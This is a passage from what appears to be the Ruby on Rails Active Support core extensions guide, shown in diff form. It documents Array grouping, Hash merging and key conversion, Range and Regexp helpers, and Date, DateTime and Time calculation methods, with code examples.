`Array(object)` otherwise. (Please if you know the exact behavior in 1.9 contact fxn.) + +Thus, in this case the behavior is different for `nil`, and the differences with `Kernel#Array` explained above apply to the rest of `object`s. + +NOTE: Defined in `active_support/core_ext/array/wrap.rb`. + +### Duplicating + +The method `Array#deep_dup` duplicates itself and all objects inside +recursively with Active Support method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside. + +```ruby +array = [1, [2, 3]] +dup = array.deep_dup +dup[1][2] = 4 +array[1][2] == nil # => true +``` + +NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`. + +### Grouping + +#### `in_groups_of(number, fill_with = nil)` + +The method `in_groups_of` splits an array into consecutive groups of a certain size. It returns an array with the groups: + +```ruby +[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]] +``` + +or yields them in turn if a block is passed: + +```html+erb +<% sample.in_groups_of(3) do |a, b, c| %> + <tr> + <td><%= a %></td> + <td><%= b %></td> + <td><%= c %></td> + </tr> +<% end %> +``` + +The first example shows `in_groups_of` fills the last group with as many `nil` elements as needed to have the requested size. You can change this padding value using the second optional argument: + +```ruby +[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]] +``` + +And you can tell the method not to fill the last group passing `false`: + +```ruby +[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]] +``` + +As a consequence `false` can't be a used as a padding value. + +NOTE: Defined in `active_support/core_ext/array/grouping.rb`. + +#### `in_groups(number, fill_with = nil)` + +The method `in_groups` splits an array into a certain number of groups. The method returns an array with the groups: + +```ruby +%w(1 2 3 4 5 6 7).in_groups(3) +# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]] +``` + +or yields them in turn if a block is passed: + +```ruby +%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group} +["1", "2", "3"] +["4", "5", nil] +["6", "7", nil] +``` + +The examples above show that `in_groups` fills some groups with a trailing `nil` element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones. + +You can change this padding value using the second optional argument: + +```ruby +%w(1 2 3 4 5 6 7).in_groups(3, "0") +# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]] +``` + +And you can tell the method not to fill the smaller groups passing `false`: + +```ruby +%w(1 2 3 4 5 6 7).in_groups(3, false) +# => [["1", "2", "3"], ["4", "5"], ["6", "7"]] +``` + +As a consequence `false` can't be a used as a padding value. + +NOTE: Defined in `active_support/core_ext/array/grouping.rb`. + +#### `split(value = nil)` + +The method `split` divides an array by a separator and returns the resulting chunks. + +If a block is passed the separators are those elements of the array for which the block returns true: + +```ruby +(-5..5).to_a.split { |i| i.multiple_of?(4) } +# => [[-5], [-3, -2, -1], [1, 2, 3], [5]] +``` + +Otherwise, the value received as argument, which defaults to `nil`, is the separator: + +```ruby +[0, 1, -5, 1, 1, "foo", "bar"].split(1) +# => [[0], [-5], [], ["foo", "bar"]] +``` + +TIP: Observe in the previous example that consecutive separators result in empty arrays. + +NOTE: Defined in `active_support/core_ext/array/grouping.rb`. + +Extensions to `Hash` +-------------------- + +### Conversions + +#### `to_xml` + +The method `to_xml` returns a string containing an XML representation of its receiver: + +```ruby +{"foo" => 1, "bar" => 2}.to_xml +# => +# <?xml version="1.0" encoding="UTF-8"?> +# <hash> +# <foo type="integer">1</foo> +# <bar type="integer">2</bar> +# </hash> +``` + +To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair `key`, `value`: + +* If `value` is a hash there's a recursive call with `key` as `:root`. + +* If `value` is an array there's a recursive call with `key` as `:root`, and `key` singularized as `:children`. + +* If `value` is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the `options` hash as first argument with `key` as `:root`, and `key` singularized as second argument. Its return value becomes a new node. + +* If `value` responds to `to_xml` the method is invoked with `key` as `:root`. + +* Otherwise, a node with `key` as tag is created with a string representation of `value` as text node. If `value` is `nil` an attribute "nil" set to "true" is added. Unless the option `:skip_types` exists and is true, an attribute "type" is added as well according to the following mapping: + +```ruby +XML_TYPE_NAMES = { + "Symbol" => "symbol", + "Integer" => "integer", + "BigDecimal" => "decimal", + "Float" => "float", + "TrueClass" => "boolean", + "FalseClass" => "boolean", + "Date" => "date", + "DateTime" => "datetime", + "Time" => "datetime" +} +``` + +By default the root node is "hash", but that's configurable via the `:root` option. + +The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder with the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder. + +NOTE: Defined in `active_support/core_ext/hash/conversions.rb`. + +### Merging + +Ruby has a built-in method `Hash#merge` that merges two hashes: + +```ruby +{a: 1, b: 1}.merge(a: 0, c: 2) +# => {:a=>0, :b=>1, :c=>2} +``` + +Active Support defines a few more ways of merging hashes that may be convenient. + +#### `reverse_merge` and `reverse_merge!` + +In case of collision the key in the hash of the argument wins in `merge`. You can support option hashes with default values in a compact way with this idiom: + +```ruby +options = {length: 30, omission: "..."}.merge(options) +``` + +Active Support defines `reverse_merge` in case you prefer this alternative notation: + +```ruby +options = options.reverse_merge(length: 30, omission: "...") +``` + +And a bang version `reverse_merge!` that performs the merge in place: + +```ruby +options.reverse_merge!(length: 30, omission: "...") +``` + +WARNING. Take into account that `reverse_merge!` may change the hash in the caller, which may or may not be a good idea. + +NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`. + +#### `reverse_update` + +The method `reverse_update` is an alias for `reverse_merge!`, explained above. + +WARNING. Note that `reverse_update` has no bang. + +NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`. + +#### `deep_merge` and `deep_merge!` + +As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins. + +Active Support defines `Hash#deep_merge`. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash: + +```ruby +{a: {b: 1}}.deep_merge(a: {c: 2}) +# => {:a=>{:b=>1, :c=>2}} +``` + +The method `deep_merge!` performs a deep merge in place. + +NOTE: Defined in `active_support/core_ext/hash/deep_merge.rb`. + +### Deep duplicating + +The method `Hash#deep_dup` duplicates itself and all keys and values +inside recursively with Active Support method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside. + +```ruby +hash = { a: 1, b: { c: 2, d: [3, 4] } } + +dup = hash.deep_dup +dup[:b][:e] = 5 +dup[:b][:d] << 5 + +hash[:b][:e] == nil # => true +hash[:b][:d] == [3, 4] # => true +``` + +NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`. + +### Working with Keys + +#### `except` and `except!` + +The method `except` returns a hash with the keys in the argument list removed, if present: + +```ruby +{a: 1, b: 2}.except(:a) # => {:b=>2} +``` + +If the receiver responds to `convert_key`, the method is called on each of the arguments. This allows `except` to play nice with hashes with indifferent access for instance: + +```ruby +{a: 1}.with_indifferent_access.except(:a) # => {} +{a: 1}.with_indifferent_access.except("a") # => {} +``` + +There's also the bang variant `except!` that removes keys in the very receiver. + +NOTE: Defined in `active_support/core_ext/hash/except.rb`. + +#### `stringify_keys` and `stringify_keys!` + +The method `stringify_keys` returns a hash that has a stringified version of the keys in the receiver. It does so by sending `to_s` to them: + +```ruby +{nil => nil, 1 => 1, a: :a}.stringify_keys +# => {"" => nil, "1" => 1, "a" => :a} +``` + +In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash: + +```ruby +{"a" => 1, a: 2}.stringify_keys +# The result could either be +# => {"a"=>2} +# or +# => {"a"=>1} +``` + +This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines: + +```ruby +def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0") + options = options.stringify_keys + options["type"] = "checkbox" + ... +end +``` + +The second line can safely access the "type" key, and let the user to pass either `:type` or "type". + +There's also the bang variant `stringify_keys!` that stringifies keys in the very receiver. + +Besides that, one can use `deep_stringify_keys` and `deep_stringify_keys!` to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is: + +```ruby +{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys +# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}} +``` + +NOTE: Defined in `active_support/core_ext/hash/keys.rb`. + +#### `symbolize_keys` and `symbolize_keys!` + +The method `symbolize_keys` returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending `to_sym` to them: + +```ruby +{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys +# => {nil=>nil, 1=>1, :a=>"a"} +``` + +WARNING. Note in the previous example only one key was symbolized. + +In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash: + +```ruby +{"a" => 1, a: 2}.symbolize_keys +# The result could either be +# => {:a=>2} +# or +# => {:a=>1} +``` + +This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines + +```ruby +def rewrite_path(options) + options = options.symbolize_keys + options.update(options[:params].symbolize_keys) if options[:params] + ... +end +``` + +The second line can safely access the `:params` key, and let the user to pass either `:params` or "params". + +There's also the bang variant `symbolize_keys!` that symbolizes keys in the very receiver. + +Besides that, one can use `deep_symbolize_keys` and `deep_symbolize_keys!` to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is: + +```ruby +{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys +# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}} +``` + +NOTE: Defined in `active_support/core_ext/hash/keys.rb`. + +#### `to_options` and `to_options!` + +The methods `to_options` and `to_options!` are respectively aliases of `symbolize_keys` and `symbolize_keys!`. + +NOTE: Defined in `active_support/core_ext/hash/keys.rb`. + +#### `assert_valid_keys` + +The method `assert_valid_keys` receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does `ArgumentError` is raised. + +```ruby +{a: 1}.assert_valid_keys(:a) # passes +{a: 1}.assert_valid_keys("a") # ArgumentError +``` + +Active Record does not accept unknown options when building associations, for example. It implements that control via `assert_valid_keys`. + +NOTE: Defined in `active_support/core_ext/hash/keys.rb`. + +### Slicing + +The method `slice!` replaces the hash with only the given keys and returns a hash containing the removed key/value pairs. + +```ruby +hash = {a: 1, b: 2} +rest = hash.slice!(:a) # => {:b=>2} +hash # => {:a=>1} +``` + +NOTE: Defined in `active_support/core_ext/hash/slice.rb`. + +### Extracting + +The method `extract!` removes and returns the key/value pairs matching the given keys. + +```ruby +hash = {a: 1, b: 2} +rest = hash.extract!(:a) # => {:a=>1} +hash # => {:b=>2} +``` + +The method `extract!` returns the same subclass of Hash, that the receiver is. + +```ruby +hash = {a: 1, b: 2}.with_indifferent_access +rest = hash.extract!(:a).class +# => ActiveSupport::HashWithIndifferentAccess +``` + +NOTE: Defined in `active_support/core_ext/hash/slice.rb`. + +### Indifferent Access + +The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndifferentAccess` out of its receiver: + +```ruby +{a: 1}.with_indifferent_access["a"] # => 1 +``` + +NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`. + +Extensions to `Regexp` +---------------------- + +### `multiline?` + +The method `multiline?` says whether a regexp has the `/m` flag set, that is, whether the dot matches newlines. + +```ruby +%r{.}.multiline? # => false +%r{.}m.multiline? # => true + +Regexp.new('.').multiline? # => false +Regexp.new('.', Regexp::MULTILINE).multiline? # => true +``` + +Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint. + +```ruby +def assign_route_options(segments, defaults, requirements) + ... + if requirement.multiline? + raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}" + end + ... +end +``` + +NOTE: Defined in `active_support/core_ext/regexp.rb`. + +Extensions to `Range` +--------------------- + +### `to_s` + +Active Support extends the method `Range#to_s` so that it understands an optional format argument. As of this writing the only supported non-default format is `:db`: + +```ruby +(Date.today..Date.tomorrow).to_s +# => "2009-10-25..2009-10-26" + +(Date.today..Date.tomorrow).to_s(:db) +# => "BETWEEN '2009-10-25' AND '2009-10-26'" +``` + +As the example depicts, the `:db` format generates a `BETWEEN` SQL clause. That is used by Active Record in its support for range values in conditions. + +NOTE: Defined in `active_support/core_ext/range/conversions.rb`. + +### `===`, `include?`, and `cover?` + +The methods `Range#===`, `Range#include?`, and `Range#cover?` say whether some value falls between the ends of a given instance: + +```ruby +(2..3).include?(Math::E) # => true +``` + +Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves: + +```ruby +(1..10) === (3..7) # => true +(1..10) === (0..7) # => false +(1..10) === (3..11) # => false +(1...9) === (3..9) # => false + +(1..10).include?(3..7) # => true +(1..10).include?(0..7) # => false +(1..10).include?(3..11) # => false +(1...9).include?(3..9) # => false + +(1..10).cover?(3..7) # => true +(1..10).cover?(0..7) # => false +(1..10).cover?(3..11) # => false +(1...9).cover?(3..9) # => false +``` + +NOTE: Defined in `active_support/core_ext/range/compare_range.rb`. + +### `overlaps?` + +The method `Range#overlaps?` says whether any two given ranges have non-void intersection: + +```ruby +(1..10).overlaps?(7..11) # => true +(1..10).overlaps?(0..7) # => true +(1..10).overlaps?(11..27) # => false +``` + +NOTE: Defined in `active_support/core_ext/range/overlaps.rb`. + +Extensions to `Date` +-------------------- + +### Calculations + +INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, `Date.new(1582, 10, 4).tomorrow` returns `Date.new(1582, 10, 15)` and so on. Please check `test/core_ext/date_ext_test.rb` in the Active Support test suite for expected behavior. + +#### `Date.current` + +Active Support defines `Date.current` to be today in the current time zone. That's like `Date.today`, except that it honors the user time zone, if defined. It also defines `Date.yesterday` and `Date.tomorrow`, and the instance predicates `past?`, `today?`, `future?`, `on_weekday?` and `on_weekend?`, all of them relative to `Date.current`. + +When making Date comparisons using methods which honor the user time zone, make sure to use `Date.current` and not `Date.today`. There are cases where the user time zone might be in the future compared to the system time zone, which `Date.today` uses by default. This means `Date.today` may equal `Date.yesterday`. + +NOTE: Defined in `active_support/core_ext/date/calculations.rb`. + +#### Named dates + +##### `beginning_of_week`, `end_of_week` + +The methods `beginning_of_week` and `end_of_week` return the dates for the +beginning and end of the week, respectively. Weeks are assumed to start on +Monday, but that can be changed passing an argument, setting thread local +`Date.beginning_of_week` or `config.beginning_of_week`. + +```ruby +d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 +d.beginning_of_week # => Mon, 03 May 2010 +d.beginning_of_week(:sunday) # => Sun, 02 May 2010 +d.end_of_week # => Sun, 09 May 2010 +d.end_of_week(:sunday) # => Sat, 08 May 2010 +``` + +`beginning_of_week` is aliased to `at_beginning_of_week` and `end_of_week` is aliased to `at_end_of_week`. + +NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`. + +##### `monday`, `sunday` + +The methods `monday` and `sunday` return the dates for the previous Monday and +next Sunday, respectively. + +```ruby +d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 +d.monday # => Mon, 03 May 2010 +d.sunday # => Sun, 09 May 2010 + +d = Date.new(2012, 9, 10) # => Mon, 10 Sep 2012 +d.monday # => Mon, 10 Sep 2012 + +d = Date.new(2012, 9, 16) # => Sun, 16 Sep 2012 +d.sunday # => Sun, 16 Sep 2012 +``` + +NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`. + +##### `prev_week`, `next_week` + +The method `next_week` receives a symbol with a day name in English (default is the thread local `Date.beginning_of_week`, or `config.beginning_of_week`, or `:monday`) and it returns the date corresponding to that day. + +```ruby +d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 +d.next_week # => Mon, 10 May 2010 +d.next_week(:saturday) # => Sat, 15 May 2010 +``` + +The method `prev_week` is analogous: + +```ruby +d.prev_week # => Mon, 26 Apr 2010 +d.prev_week(:saturday) # => Sat, 01 May 2010 +d.prev_week(:friday) # => Fri, 30 Apr 2010 +``` + +`prev_week` is aliased to `last_week`. + +Both `next_week` and `prev_week` work as expected when `Date.beginning_of_week` or `config.beginning_of_week` are set. + +NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`. + +##### `beginning_of_month`, `end_of_month` + +The methods `beginning_of_month` and `end_of_month` return the dates for the beginning and end of the month: + +```ruby +d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 +d.beginning_of_month # => Sat, 01 May 2010 +d.end_of_month # => Mon, 31 May 2010 +``` + +`beginning_of_month` is aliased to `at_beginning_of_month`, and `end_of_month` is aliased to `at_end_of_month`. + +NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`. + +##### `beginning_of_quarter`, `end_of_quarter` + +The methods `beginning_of_quarter` and `end_of_quarter` return the dates for the beginning and end of the quarter of the receiver's calendar year: + +```ruby +d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 +d.beginning_of_quarter # => Thu, 01 Apr 2010 +d.end_of_quarter # => Wed, 30 Jun 2010 +``` + +`beginning_of_quarter` is aliased to `at_beginning_of_quarter`, and `end_of_quarter` is aliased to `at_end_of_quarter`. + +NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`. + +##### `beginning_of_year`, `end_of_year` + +The methods `beginning_of_year` and `end_of_year` return the dates for the beginning and end of the year: + +```ruby +d = Date.new(2010, 5, 9) # => Sun, 09 May 2010 +d.beginning_of_year # => Fri, 01 Jan 2010 +d.end_of_year # => Fri, 31 Dec 2010 +``` + +`beginning_of_year` is aliased to `at_beginning_of_year`, and `end_of_year` is aliased to `at_end_of_year`. + +NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`. + +#### Other Date Computations + +##### `years_ago`, `years_since` + +The method `years_ago` receives a number of years and returns the same date those many years ago: + +```ruby +date = Date.new(2010, 6, 7) +date.years_ago(10) # => Wed, 07 Jun 2000 +``` + +`years_since` moves forward in time: + +```ruby +date = Date.new(2010, 6, 7) +date.years_since(10) # => Sun, 07 Jun 2020 +``` + +If such a day does not exist, the last day of the corresponding month is returned: + +```ruby +Date.new(2012, 2, 29).years_ago(3) # => Sat, 28 Feb 2009 +Date.new(2012, 2, 29).years_since(3) # => Sat, 28 Feb 2015 +``` + +`last_year` is short-hand for `#years_ago(1)`. + +NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`. + +##### `months_ago`, `months_since` + +The methods `months_ago` and `months_since` work analogously for months: + +```ruby +Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010 +Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010 +``` + +If such a day does not exist, the last day of the corresponding month is returned: + +```ruby +Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010 +Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010 +``` + +`last_month` is short-hand for `#months_ago(1)`. + +NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`. + +##### `weeks_ago` + +The method `weeks_ago` works analogously for weeks: + +```ruby +Date.new(2010, 5, 24).weeks_ago(1) # => Mon, 17 May 2010 +Date.new(2010, 5, 24).weeks_ago(2) # => Mon, 10 May 2010 +``` + +NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`. + +##### `advance` + +The most generic way to jump to other days is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, and returns a date advanced as much as the present keys indicate: + +```ruby +date = Date.new(2010, 6, 6) +date.advance(years: 1, weeks: 2) # => Mon, 20 Jun 2011 +date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010 +``` + +Note in the previous example that increments may be negative. + +To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward. + +The method `advance` advances first one month, and then one day, the result is: + +```ruby +Date.new(2010, 2, 28).advance(months: 1, days: 1) +# => Sun, 29 Mar 2010 +``` + +While if it did it the other way around the result would be different: + +```ruby +Date.new(2010, 2, 28).advance(days: 1).advance(months: 1) +# => Thu, 01 Apr 2010 +``` + +NOTE: Defined in `active_support/core_ext/date/calculations.rb`. + +#### Changing Components + +The method `change` allows you to get a new date which is the same as the receiver except for the given year, month, or day: + +```ruby +Date.new(2010, 12, 23).change(year: 2011, month: 11) +# => Wed, 23 Nov 2011 +``` + +This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised: + +```ruby +Date.new(2010, 1, 31).change(month: 2) +# => ArgumentError: invalid date +``` + +NOTE: Defined in `active_support/core_ext/date/calculations.rb`. + +#### Durations + +Durations can be added to and subtracted from dates: + +```ruby +d = Date.current +# => Mon, 09 Aug 2010 +d + 1.year +# => Tue, 09 Aug 2011 +d - 3.hours +# => Sun, 08 Aug 2010 21:00:00 UTC +00:00 +``` + +They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform: + +```ruby +Date.new(1582, 10, 4) + 1.day +# => Fri, 15 Oct 1582 +``` + +#### Timestamps + +INFO: The following methods return a `Time` object if possible, otherwise a `DateTime`. If set, they honor the user time zone. + +##### `beginning_of_day`, `end_of_day` + +The method `beginning_of_day` returns a timestamp at the beginning of the day (00:00:00): + +```ruby +date = Date.new(2010, 6, 7) +date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010 +``` + +The method `end_of_day` returns a timestamp at the end of the day (23:59:59): + +```ruby +date = Date.new(2010, 6, 7) +date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010 +``` + +`beginning_of_day` is aliased to `at_beginning_of_day`, `midnight`, `at_midnight`. + +NOTE: Defined in `active_support/core_ext/date/calculations.rb`. + +##### `beginning_of_hour`, `end_of_hour` + +The method `beginning_of_hour` returns a timestamp at the beginning of the hour (hh:00:00): + +```ruby +date = DateTime.new(2010, 6, 7, 19, 55, 25) +date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010 +``` + +The method `end_of_hour` returns a timestamp at the end of the hour (hh:59:59): + +```ruby +date = DateTime.new(2010, 6, 7, 19, 55, 25) +date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010 +``` + +`beginning_of_hour` is aliased to `at_beginning_of_hour`. + +NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`. + +##### `beginning_of_minute`, `end_of_minute` + +The method `beginning_of_minute` returns a timestamp at the beginning of the minute (hh:mm:00): + +```ruby +date = DateTime.new(2010, 6, 7, 19, 55, 25) +date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010 +``` + +The method `end_of_minute` returns a timestamp at the end of the minute (hh:mm:59): + +```ruby +date = DateTime.new(2010, 6, 7, 19, 55, 25) +date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010 +``` + +`beginning_of_minute` is aliased to `at_beginning_of_minute`. + +INFO: `beginning_of_hour`, `end_of_hour`, `beginning_of_minute` and `end_of_minute` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour or minute on a `Date` instance. + +NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`. + +##### `ago`, `since` + +The method `ago` receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight: + +```ruby +date = Date.current # => Fri, 11 Jun 2010 +date.ago(1) # => Thu, 10 Jun 2010 23:59:59 EDT -04:00 +``` + +Similarly, `since` moves forward: + +```ruby +date = Date.current # => Fri, 11 Jun 2010 +date.since(1) # => Fri, 11 Jun 2010 00:00:01 EDT -04:00 +``` + +NOTE: Defined in `active_support/core_ext/date/calculations.rb`. + +#### Other Time Computations + +### Conversions + +Extensions to `DateTime` +------------------------ + +WARNING: `DateTime` is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example `seconds_since_midnight` might not return the real amount in such a day. + +### Calculations + +The class `DateTime` is a subclass of `Date` so by loading `active_support/core_ext/date/calculations.rb` you inherit these methods and their aliases, except that they will always return datetimes. + +The following methods are reimplemented so you do **not** need to load `active_support/core_ext/date/calculations.rb` for these ones: + +```ruby +beginning_of_day (midnight, at_midnight, at_beginning_of_day) +end_of_day +ago +since (in) +``` + +On the other hand, `advance` and `change` are also defined and support more options, they are documented below. + +The following methods are only implemented in `active_support/core_ext/date_time/calculations.rb` as they only make sense when used with a `DateTime` instance: + +```ruby +beginning_of_hour (at_beginning_of_hour) +end_of_hour +``` + +#### Named Datetimes + +##### `DateTime.current` + +Active Support defines `DateTime.current` to be like `Time.now.to_datetime`, except that it honors the user time zone, if defined. It also defines `DateTime.yesterday` and `DateTime.tomorrow`, and the instance predicates `past?`, and `future?` relative to `DateTime.current`. + +NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`. + +#### Other Extensions + +##### `seconds_since_midnight` + +The method `seconds_since_midnight` returns the number of seconds since midnight: + +```ruby +now = DateTime.current # => Mon, 07 Jun 2010 20:26:36 +0000 +now.seconds_since_midnight # => 73596 +``` + +NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`. + +##### `utc` + +The method `utc` gives you the same datetime in the receiver expressed in UTC. + +```ruby +now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400 +now.utc # => Mon, 07 Jun 2010 23:27:52 +0000 +``` + +This method is also aliased as `getutc`. + +NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`. + +##### `utc?` + +The predicate `utc?` says whether the receiver has UTC as its time zone: + +```ruby +now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400 +now.utc? # => false +now.utc.utc? # => true +``` + +NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`. + +##### `advance` + +The most generic way to jump to another datetime is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, `:hours`, `:minutes`, and `:seconds`, and returns a datetime advanced as much as the present keys indicate. + +```ruby +d = DateTime.current +# => Thu, 05 Aug 2010 11:33:31 +0000 +d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1) +# => Tue, 06 Sep 2011 12:34:32 +0000 +``` + +This method first computes the destination date passing `:years`, `:months`, `:weeks`, and `:days` to `Date#advance` documented above. After that, it adjusts the time calling `since` with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in `Date#advance` applies, and we can extend it to show order relevance related to the time bits. + +If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation: + +```ruby +d = DateTime.new(2010, 2, 28, 23, 59, 59) +# => Sun, 28 Feb 2010 23:59:59 +0000 +d.advance(months: 1, seconds: 1) +# => Mon, 29 Mar 2010 00:00:00 +0000 +``` + +but if we computed them the other way around, the result would be different: + +```ruby +d.advance(seconds: 1).advance(months: 1) +# => Thu, 01 Apr 2010 00:00:00 +0000 +``` + +WARNING: Since `DateTime` is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so. + +NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`. + +#### Changing Components + +The method `change` allows you to get a new datetime which is the same as the receiver except for the given options, which may include `:year`, `:month`, `:day`, `:hour`, `:min`, `:sec`, `:offset`, `:start`: + +```ruby +now = DateTime.current +# => Tue, 08 Jun 2010 01:56:22 +0000 +now.change(year: 2011, offset: Rational(-6, 24)) +# => Wed, 08 Jun 2011 01:56:22 -0600 +``` + +If hours are zeroed, then minutes and seconds are too (unless they have given values): + +```ruby +now.change(hour: 0) +# => Tue, 08 Jun 2010 00:00:00 +0000 +``` + +Similarly, if minutes are zeroed, then seconds are too (unless it has given a value): + +```ruby +now.change(min: 0) +# => Tue, 08 Jun 2010 01:00:00 +0000 +``` + +This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised: + +```ruby +DateTime.current.change(month: 2, day: 30) +# => ArgumentError: invalid date +``` + +NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`. + +#### Durations + +Durations can be added to and subtracted from datetimes: + +```ruby +now = DateTime.current +# => Mon, 09 Aug 2010 23:15:17 +0000 +now + 1.year +# => Tue, 09 Aug 2011 23:15:17 +0000 +now - 1.week +# => Mon, 02 Aug 2010 23:15:17 +0000 +``` + +They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform: + +```ruby +DateTime.new(1582, 10, 4, 23) + 1.hour +# => Fri, 15 Oct 1582 00:00:00 +0000 +``` + +Extensions to `Time` +-------------------- + +### Calculations + +They are analogous. Please refer to their documentation above and take into account the following differences: + +* `change` accepts an additional `:usec` option. +* `Time` understands DST, so you get correct DST calculations as in + +```ruby +Time.zone_default +# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> + +# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST. +t = Time.local(2010, 3, 28, 1, 59, 59) +# => Sun Mar 28 01:59:59 +0100 2010 +t.advance(seconds: 1) +# => Sun Mar 28 03:00:00 +0200 2010 +``` + +* If `since` or `ago` jump to a time that can't be expressed with `Time` a `DateTime` object is returned instead. + +#### `Time.current` + +Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`. + +When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` instead of `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.now` uses by default. This means `Time.now.to_date` may equal `Date.yesterday`. + +NOTE: Defined in `active_support/core_ext/time/calculations.rb`. + +#### `all_day`, `all_week`, `all_month`, `all_quarter` and `all_year` + +The method `all_day` returns a range representing the whole day of the current time. + +```ruby +now = Time.current +# => Mon, 09 Aug 2010 23:20:05 UTC +00:00 +now.all_day +# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00 +``` + +Analogously, `all_week`, `all_month`, `all_quarter` and `all_year` all serve the purpose of generating time ranges. + +```ruby +now = Time.current +# => Mon, 09 Aug 2010 23:20:05 UTC +00:00 +now.all_week +# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00 +now.all_week(:sunday) +# => Sun, 16 Sep 2012 00:00:00 UTC 